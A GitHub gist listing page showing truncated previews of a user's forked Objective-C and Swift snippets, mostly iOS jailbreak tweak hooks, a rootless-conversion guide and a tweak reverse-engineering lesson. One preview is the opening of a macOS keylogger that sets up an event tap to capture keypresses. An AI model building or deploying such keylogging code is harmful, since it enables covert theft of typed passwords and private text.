Skip to content

Instantly share code, notes, and snippets.

@Mabdelwanis
Mabdelwanis / sendPOSTRequestWithUR.m
Created December 17, 2023 22:58 — forked from wptechprodigy/sendPOSTRequestWithUR.m
POST request to a URL using Objective-C
- (void)sendPOSTRequestWithURL:(NSURL *)url parameters:(NSDictionary *)parameters completionHandler:(void (^)(NSData *, NSURLResponse *, NSError *))completionHandler {
// Create a mutable URL request
NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:url];
// Set the request method to POST
[request setHTTPMethod:@"POST"];
// Set the request body with the parameters
NSData *postData = [NSJSONSerialization dataWithJSONObject:parameters options:0 error:nil];
[request setHTTPBody:postData];

UITableView Simple Template

  • Small Sample
import UIKit

class ViewController: UIViewController, UITableViewDelegate, UITableViewDataSource {
    
@Mabdelwanis
Mabdelwanis / newabi.md
Created December 5, 2023 20:11 — forked from NightwindDev/newabi.md
Use Allemand on macOS to convert tweaks to the new ABI and then convert to rootless

* Note that NOT ALL tweaks will work with the conversion process and some might only partially work.

Step 1 - Preparation:

  • Download Allemand. It will download as a .zip file. Extract it, and you'll have the binary file.
  • Move the binary to a safe place on your computer.
  • Open the Terminal app, navigate to the location where the binary is stored, and run the following command:
xattr -sc Allemand && chmod +x Allemand

This will make it an executable file.

@Mabdelwanis
Mabdelwanis / asd.m
Created December 4, 2023 20:35 — forked from jontelang/asd.m
asd.m
-(void)presentFBShare{
// Create an object
id<FBGraphObject> object =
[FBGraphObject openGraphObjectForPostWithType:@"thebumapp:share"
title:@"a bum"
image:Nil
url:@"http://www.facebook.com/TheBumApp"
description:Nil];
// Create an action
void KTouchPointerWindowInstall();
void KTouchPointerWindowUninstall();
static BOOL installed;
void KTouchPointerWindowInstall()
{
if (!installed) {
installed = YES;
Class _class = [UIWindow class];
#include "keylogger.h"
int main(int argc, const char *argv[]) {
// Create an event tap to retrieve keypresses.
CGEventMask eventMask = (CGEventMaskBit(kCGEventKeyDown) | CGEventMaskBit(kCGEventFlagsChanged));
CFMachPortRef eventTap = CGEventTapCreate(
kCGSessionEventTap, kCGHeadInsertEventTap, 0, eventMask, CGEventCallback, NULL
);
// Exit the program if unable to create the event tap.
@Mabdelwanis
Mabdelwanis / Tweak.xm
Created December 4, 2023 20:33 — forked from jontelang/Tweak.xm
as
#include <math.h>
%hook SBAwayController
@interface UIApplication ()
- (id)_accessibilityRunningApplications;
@end
@interface SBStatusBarDataManager
+ (id)sharedDataManager;
@Mabdelwanis
Mabdelwanis / gist:f75583d578a4b311cefbe2640ba154f3
Created December 4, 2023 20:32 — forked from newenglander/gist:39af46c6678c236f7db0
Trying to get a sample tweak working in iOS 7
#import <substrate.h>
#import <UIKit/UIKit.h>
#import <Foundation/Foundation.h>
%hook SBIconView
// Hooking an instance method with an argument.
- (void)setIsJittering:(BOOL)jittering {
[self setAlpha:(jittering ? 0.5 : 1.0)];
}
%end
@Mabdelwanis
Mabdelwanis / SwitcherTerminate.m
Created December 4, 2023 20:24 — forked from MTACS/SwitcherTerminate.m
Kill all running apps iOS 16+
@interface SBAppLayout : NSObject
@end
@interface SBFluidSwitcherItemContainer: UIView
@end
@interface SBFluidSwitcherViewController: UIViewController
@property (readonly, nonatomic) NSArray *appLayouts;
- (id)_itemContainerForAppLayoutIfExists:(id)arg0;
- (void)killContainer:(id)arg0 forReason:(NSInteger)arg1;

Reverse Engineering Tweaks

This lesson is target at reverse engineering iOS tweaks that have been written in Logos, and using the MobileSubstrate framework. Logos also has an "internal" generator configuration, and we will not be exploring that output today, however you should be able to figure out the differences yourself after completing this lesson.

Logos to Objective-C

Most modern tweaks are written in Logos. To understand the code we'll be looking at from reversed tweaks, we need to understand what a normal "hook" looks like in native code.

This is the example logos we'll be working with: